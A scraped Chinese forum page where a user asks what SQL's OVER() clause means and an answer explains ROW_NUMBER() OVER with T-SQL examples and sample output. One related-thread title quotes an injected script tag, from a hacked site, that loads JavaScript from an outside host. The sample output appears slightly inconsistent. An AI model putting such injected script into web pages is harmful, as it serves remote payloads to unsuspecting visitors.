SQL中,OVER()是什么意思,怎么用呀,举个例子说明白些。谢谢!
解决方案 »
- 求SQL SERVER 2005 英文版
- vb+sql的问题
- 帮我看看这个SQL语句,谢谢!
- 定时事务复制,为什么设置了在每天的某个时间点执行,到了时间订阅服务器没有获得更新呢?[
- 我查了手册,可是还是不知道这种Select 怎么写。(100)
- help
- sqlxml,高手请进!急急急急急急急急急急急急急急
- 中邪了!!在查询分析器里输入的正确的语句怎么是运行错误的?
- 哪里有SQL 2000下人版下载啊?
- 在SqlServer中,如何从表中的一部分数据中对某个字段取最大值?例如:
- 我的网站被黑了,网站内尽是:“</title></pre>><script src=http://sb.5252.ws:88/107/1.js></script><”,网页内容都没了,请教怎么处理,谢谢!
- SQLServer中发生错误2-(系统找不到指定的文件), 此时正在MSSQLServer服务上执行该服务操作。
ROW_NUMBER ( ) OVER ( [ <partition_by_clause> ] <order_by_clause> )<partition_by_clause>
将 FROM 子句生成的结果集划入应用了 ROW_NUMBER 函数的分区。有关 PARTITION BY 的语法,请参阅 OVER 子句 (Transact-SQL)。 <order_by_clause>
确定将 ROW_NUMBER 值分配给分区中的行的顺序。有关详细信息,请参阅 ORDER BY 子句 (Transact-SQL)。当在排名函数中使用 <order_by_clause> 时,不能用整数表示列。Explame select ROW_NUMBER() over (order by article_id desc),* from Test05.dbo.Article_Sample Exp id type
1 27 网站日志
2 27 网站日志
3 27 网站日志
4 26 网站日志
5 26 网站日志
6 26 网站日志
7 18 健康饮食
8 18 健康饮食
9 18 健康饮食
10 17 健康饮食
select ROW_NUMBER() over (order by article_id desc),article_id,typename from Test05.dbo.Article_Sample order by article_id asc -- 当语句有order by 的时候,以外层的为准 exp id type 7 18 健康饮食
8 18 健康饮食
9 18 健康饮食
4 26 网站日志
5 26 网站日志
6 26 网站日志
1 27 网站日志
2 27 网站日志
3 27 网站日志